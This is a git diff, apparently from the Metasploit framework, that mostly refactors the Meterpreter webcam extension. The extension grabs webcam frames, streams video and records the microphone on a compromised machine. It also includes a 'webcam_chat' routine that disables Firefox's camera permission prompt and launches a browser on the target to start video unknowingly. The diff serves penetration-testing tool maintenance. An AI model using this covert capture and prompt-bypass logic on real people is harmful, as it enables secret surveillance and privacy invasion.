diff --git a/data/webcam/offerer.html b/data/webcam/offerer.html index 8bd7cb5a482b..eaa58ebbcf60 100644 --- a/data/webcam/offerer.html +++ b/data/webcam/offerer.html @@ -169,7 +169,7 @@ userid: 'self', stream: stream }); - + callback(stream); }); } @@ -178,7 +178,7 @@
- You peer + Your peer
@@ -199,4 +199,4 @@ - \ No newline at end of file + diff --git a/lib/rex/compat.rb b/lib/rex/compat.rb index cc6656715bcc..46d61dae15a2 100644 --- a/lib/rex/compat.rb +++ b/lib/rex/compat.rb @@ -166,9 +166,9 @@ def self.open_webrtc_browser(url='http://google.com/') app_data = ENV['APPDATA'] paths << "#{app_data}\\Google\\Chrome\\Application\\chrome.exe" - paths.each do |p| - if File.exists?(p) - args = (p =~ /chrome\.exe/) ? "--allow-file-access-from-files" : "" + paths.each do |path| + if File.exists?(path) + args = (path =~ /chrome\.exe/) ? "--allow-file-access-from-files" : "" system("#{path} #{args} #{url}") found_browser = true break @@ -188,13 +188,14 @@ def self.open_webrtc_browser(url='http://google.com/') end else if defined? ENV['PATH'] - ['chrome', 'chromium', 'firefox', 'opera'].each do |browser| + ['firefox', 'google-chrome', 'chrome', 'chromium', 'firefox', 'opera'].each do |browser| ENV['PATH'].split(':').each do |path| browser_path = "#{path}/#{browser}" if File.exists?(browser_path) args = (browser_path =~ /Chrome/) ? "--allow-file-access-from-files" : "" system("#{browser_path} #{args} #{url} &") found_browser = true + break end end end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb b/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb index 31a5c1ef6ead..0dcb281df7ec 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb @@ -1,7 +1,5 @@ # -*- coding: binary -*- -#require 'rex/post/meterpreter/extensions/process' - module Rex module Post module Meterpreter @@ -15,7 +13,6 @@ module Webcam # ### class Webcam - include Msf::Post::Common include Msf::Post::File include Msf::Post::WebRTC @@ -31,9 +28,9 @@ def session def webcam_list response = client.send_request(Packet.create_request('webcam_list')) names = [] - response.get_tlvs( TLV_TYPE_WEBCAM_NAME ).each{ |tlv| + response.get_tlvs(TLV_TYPE_WEBCAM_NAME).each do |tlv| names << tlv.value - } + end names end @@ -49,11 +46,11 @@ def webcam_get_frame(quality) request = Packet.create_request('webcam_get_frame') request.add_tlv(TLV_TYPE_WEBCAM_QUALITY, quality) response = client.send_request(request) - response.get_tlv( TLV_TYPE_WEBCAM_IMAGE ).value + response.get_tlv(TLV_TYPE_WEBCAM_IMAGE).value end def webcam_stop - client.send_request( Packet.create_request( 'webcam_stop' ) ) + client.send_request(Packet.create_request('webcam_stop')) true end @@ -67,13 +64,13 @@ def webcam_chat(server) offerer_id = Rex::Text.rand_text_alphanumeric(10) channel = Rex::Text.rand_text_alphanumeric(20) - remote_browser_path = get_webrtc_browser_path + remote_browser_path = webrtc_browser_path if remote_browser_path.blank? - raise RuntimeError, "Unable to find a suitable browser on the target machine" + fail "Unable to find a suitable browser on the target machine" end - ready_status = init_video_chat(remote_browser_path, server, channel, offerer_id) + init_video_chat(remote_browser_path, server, channel, offerer_id) connect_video_chat(server, channel, offerer_id) end @@ -83,40 +80,39 @@ def record_mic(duration) request = Packet.create_request('webcam_audio_record') request.add_tlv(TLV_TYPE_AUDIO_DURATION, duration) response = client.send_request(request) - response.get_tlv( TLV_TYPE_AUDIO_DATA ).value + response.get_tlv(TLV_TYPE_AUDIO_DATA).value end attr_accessor :client - private - # # Returns a browser path that supports WebRTC # # @return [String] # - def get_webrtc_browser_path + def webrtc_browser_path found_browser_path = '' case client.platform when /win/ paths = [ - "Program Files\\Google\\Chrome\\Application\\chrome.exe", - "Program Files\\Mozilla Firefox\\firefox.exe" + "%ProgramFiles(x86)%\\Google\\Chrome\\Application\\chrome.exe", + "%ProgramFiles%\\Google\\Chrome\\Application\\chrome.exe", + "%ProgramW6432%\\Google\\Chrome\\Application\\chrome.exe", + "%ProgramFiles(x86)%\\Mozilla Firefox\\firefox.exe", + "%ProgramFiles%\\Mozilla Firefox\\firefox.exe", + "%ProgramW6432%\\Mozilla Firefox\\firefox.exe" ] - drive = session.sys.config.getenv("SYSTEMDRIVE") - paths = paths.map { |p| "#{drive}\\#{p}" } - # Old chrome path user_profile = client.sys.config.getenv("USERPROFILE") paths << "#{user_profile}\\Local Settings\\Application Data\\Google\\Chrome\\Application\\chrome.exe" paths.each do |browser_path| if file?(browser_path) - found_browser_path = browser_path + found_browser_path = client.fs.file.expand_path(browser_path) break end end @@ -124,7 +120,7 @@ def get_webrtc_browser_path when /osx|bsd/ [ '/Applications/Google Chrome.app', - '/Applications/Firefox.app', + '/Applications/Firefox.app' ].each do |browser_path| if file?(browser_path) found_browser_path = browser_path @@ -140,7 +136,6 @@ def get_webrtc_browser_path found_browser_path end - # # Creates a video chat session as an offerer... involuntarily :-p # Windows targets only. @@ -161,9 +156,9 @@ def init_video_chat(remote_browser_path, server, channel, offerer_id) begin write_file("#{tmp_dir}\\interface.html", interface) write_file("#{tmp_dir}\\api.js", api) - rescue ::Exception => e - elog("webcam_chat failed. #{e.class} #{e.to_s}") - raise RuntimeError, "Unable to initialize the interface on the target machine" + rescue RuntimeError => e + elog("webcam_chat failed. #{e.class} #{e}") + raise "Unable to initialize the interface on the target machine" end # @@ -176,26 +171,29 @@ def init_video_chat(remote_browser_path, server, channel, offerer_id) profile_name = Rex::Text.rand_text_alpha(8) o = cmd_exec("#{remote_browser_path} --CreateProfile #{profile_name} #{tmp_dir}\\#{profile_name}") profile_path = (o.scan(/created profile '.+' at '(.+)'/).flatten[0] || '').strip - setting = %Q|user_pref("media.navigator.permission.disabled", true);| + setting = %|user_pref("media.navigator.permission.disabled", true);| begin write_file(profile_path, setting) - rescue ::Exception => e - elog("webcam_chat failed: #{e.class} #{e.to_s}") - raise RuntimeError, "Unable to write the necessary setting for Firefox." + rescue RuntimeError => e + elog("webcam_chat failed: #{e.class} #{e}") + raise "Unable to write the necessary setting for Firefox." end args = "-p #{profile_name}" end - exec_opts = {'Hidden' => false, 'Channelized' => false} + exec_opts = { 'Hidden' => false, 'Channelized' => false } begin session.sys.process.execute(remote_browser_path, "#{args} #{tmp_dir}\\interface.html", exec_opts) - rescue ::Exception => e - elog("webcam_chat failed. #{e.class} #{e.to_s}") - raise RuntimeError, "Unable to start the remote browser: #{e.message}" + rescue RuntimeError => e + elog("webcam_chat failed. #{e.class} #{e}") + raise "Unable to start the remote browser: #{e.message}" end end - end - -end; end; end; end; end; end +end +end +end +end +end +end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb index 6ac989c89917..447097cd2bf6 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb @@ -12,7 +12,6 @@ module Ui # ### class Console::CommandDispatcher::Stdapi::Webcam - Klass = Console::CommandDispatcher::Stdapi::Webcam include Console::CommandDispatcher @@ -33,17 +32,16 @@ def commands "webcam_list" => [ "webcam_list" ], "webcam_snap" => [ "webcam_start", "webcam_get_frame", "webcam_stop" ], "webcam_stream" => [ "webcam_start", "webcam_get_frame", "webcam_stop" ], - "record_mic" => [ "webcam_audio_record" ], + "record_mic" => [ "webcam_audio_record" ] } - all.delete_if do |cmd, desc| + all.delete_if do |cmd, _desc| del = false reqs[cmd].each do |req| next if client.commands.include? req del = true break end - del end @@ -58,23 +56,26 @@ def name end def cmd_webcam_list - begin - client.webcam.webcam_list.each_with_index { |name, indx| - print_line("#{indx + 1}: #{name}") - } - return true - rescue + if client.webcam.webcam_list.length == 0 print_error("No webcams were found") - return false + return + end + + client.webcam.webcam_list.each_with_index do |name, indx| + print_line("#{indx + 1}: #{name}") end end def cmd_webcam_snap(*args) + if client.webcam.webcam_list.length == 0 + print_error("Target does not have a webcam") + return + end + path = Rex::Text.rand_text_alpha(8) + ".jpeg" quality = 50 view = true index = 1 - wc_list = [] webcam_snap_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help Banner" ], @@ -84,51 +85,44 @@ def cmd_webcam_snap(*args) "-v" => [ true, "Automatically view the JPEG image (Default: '#{view}')" ] ) - webcam_snap_opts.parse( args ) { | opt, idx, val | + webcam_snap_opts.parse(args) do |opt, _idx, val| case opt - when "-h" - print_line( "Usage: webcam_snap [options]\n" ) - print_line( "Grab a frame from the specified webcam." ) - print_line( webcam_snap_opts.usage ) - return - when "-i" - index = val.to_i - when "-q" - quality = val.to_i - when "-p" - path = val - when "-v" - view = false if ( val =~ /^(f|n|0)/i ) + when "-h" + print_line("Usage: webcam_snap [options]\n") + print_line("Grab a frame from the specified webcam.") + print_line(webcam_snap_opts.usage) + return + when "-i" + index = val.to_i + when "-q" + quality = val.to_i + when "-p" + path = val + when "-v" + view = false if val =~ /^(f|n|0)/i end - } + end + begin - wc_list << client.webcam.webcam_list - rescue + print_status("Starting...") + client.webcam.webcam_start(index) + webcam_started = true + data = client.webcam.webcam_get_frame(quality) + print_good("Got frame") + ensure + client.webcam.webcam_stop if webcam_started + print_status("Stopped") end - if wc_list.length > 0 - begin - print_status("Starting...") - client.webcam.webcam_start(index) - data = client.webcam.webcam_get_frame(quality) - print_good("Got frame") - ensure - client.webcam.webcam_stop - print_status("Stopped") - end - if( data ) - ::File.open( path, 'wb' ) do |fd| - fd.write( data ) - end - path = ::File.expand_path( path ) - print_line( "Webcam shot saved to: #{path}" ) - Rex::Compat.open_file( path ) if view + if data + ::File.open(path, 'wb') do |fd| + fd.write(data) end - return true - else - print_error("No webcams where found") - return false + path = ::File.expand_path(path) + print_line("Webcam shot saved to: #{path}") + Rex::Compat.open_file(path) if view end + true end def cmd_webcam_chat(*args) @@ -144,39 +138,42 @@ def cmd_webcam_chat(*args) "-s" => [ false, "WebSocket server" ] ) - webcam_chat_opts.parse( args ) { | opt, idx, val | + webcam_chat_opts.parse(args) do |opt, _idx, val| case opt - when "-h" - print_line( "Usage: webcam_chat [options]\n" ) - print_line( "Starts a video conversation with your target." ) - print_line( "Browser Requirements:") - print_line( "Chrome: version 23 or newer" ) - print_line( "Firefox: version 22 or newer" ) - print_line( webcam_chat_opts.usage ) - return - when "-s" - server = val.to_s + when "-h" + print_line("Usage: webcam_chat [options]\n") + print_line("Starts a video conversation with your target.") + print_line("Browser Requirements:") + print_line("Chrome: version 23 or newer") + print_line("Firefox: version 22 or newer") + print_line(webcam_chat_opts.usage) + return + when "-s" + server = val.to_s end - } - + end begin print_status("Webcam chat session initialized.") client.webcam.webcam_chat(server) - rescue RuntimeError => e + rescue RuntimeError => e print_error(e.message) end end def cmd_webcam_stream(*args) + if client.webcam.webcam_list.length == 0 + print_error("Target does not have a webcam") + return + end + print_status("Starting...") - stream_path = Rex::Text.rand_text_alpha(8) + ".jpeg" + stream_path = Rex::Text.rand_text_alpha(8) + ".jpeg" player_path = Rex::Text.rand_text_alpha(8) + ".html" duration = 1800 quality = 50 view = true index = 1 - wc_list = [] webcam_snap_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help Banner" ], @@ -188,30 +185,30 @@ def cmd_webcam_stream(*args) "-v" => [ true, "Automatically view the stream (Default: '#{view}')" ] ) - webcam_snap_opts.parse( args ) { | opt, idx, val | + webcam_snap_opts.parse(args) do |opt, _idx, val| case opt - when "-h" - print_line( "Usage: webcam_stream [options]\n" ) - print_line( "Stream from the specified webcam." ) - print_line( webcam_snap_opts.usage ) - return - when "-d" - duration = val.to_i - when "-i" - index = val.to_i - when "-q" - quality = val.to_i - when "-s" - stream_path = val - when "-t" - player_path = val - when "-v" - view = false if ( val =~ /^(f|n|0)/i ) + when "-h" + print_line("Usage: webcam_stream [options]\n") + print_line("Stream from the specified webcam.") + print_line(webcam_snap_opts.usage) + return + when "-d" + duration = val.to_i + when "-i" + index = val.to_i + when "-q" + quality = val.to_i + when "-s" + stream_path = val + when "-t" + player_path = val + when "-v" + view = false if val =~ /^(f|n|0)/i end - } + end print_status("Preparing player...") - html = %Q| + html = %| @@ -264,7 +261,7 @@ def cmd_webcam_stream(*args) end if view print_status("Opening player at: #{player_path}") - Rex::Compat.open_file(player_path) + Rex::Compat.open_file(player_path) else print_status("Please open the player manually with a browser: #{player_path}") end @@ -272,72 +269,70 @@ def cmd_webcam_stream(*args) print_status("Streaming...") begin client.webcam.webcam_start(index) - ::Timeout.timeout(duration) { + webcam_started = true + ::Timeout.timeout(duration) do while client do data = client.webcam.webcam_get_frame(quality) if data ::File.open(stream_path, 'wb') do |f| - f.write(data) + f.write(data) end data = nil end end - } + end rescue ::Timeout::Error ensure - client.webcam.webcam_stop + client.webcam.webcam_stop if webcam_started end print_status("Stopped") end def cmd_record_mic(*args) - path = Rex::Text.rand_text_alpha(8) + ".wav" - play = true - duration = 1 + path = Rex::Text.rand_text_alpha(8) + ".wav" + play = true + duration = 1 record_mic_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help Banner" ], "-d" => [ true, "Number of seconds to record (Default: 1)" ], - "-f" => [ true, "The wav file path (Default: '#{::File.expand_path( "[randomname].wav" )}')" ], + "-f" => [ true, "The wav file path (Default: '#{::File.expand_path('[randomname].wav')}')" ], "-p" => [ true, "Automatically play the captured audio (Default: '#{play}')" ] ) - record_mic_opts.parse( args ) { | opt, idx, val | + record_mic_opts.parse(args) do |opt, _idx, val| case opt - when "-h" - print_line( "Usage: record_mic [options]\n" ) - print_line( "Records audio from the default microphone." ) - print_line( record_mic_opts.usage ) - return - when "-d" - duration = val.to_i - when "-f" - path = val - when "-p" - play = false if ( val =~ /^(f|n|0)/i ) + when "-h" + print_line("Usage: record_mic [options]\n") + print_line("Records audio from the default microphone.") + print_line(record_mic_opts.usage) + return + when "-d" + duration = val.to_i + when "-f" + path = val + when "-p" + play = false if val =~ /^(f|n|0)/i end - } + end print_status("Starting...") data = client.webcam.record_mic(duration) print_status("Stopped") - if( data ) - ::File.open( path, 'wb' ) do |fd| - fd.write( data ) + if data + ::File.open(path, 'wb') do |fd| + fd.write(data) end - path = ::File.expand_path( path ) - print_line( "Audio saved to: #{path}" ) - Rex::Compat.play_sound( path ) if play + path = ::File.expand_path(path) + print_line("Audio saved to: #{path}") + Rex::Compat.play_sound(path) if play end - return true + true end - end - end end end end -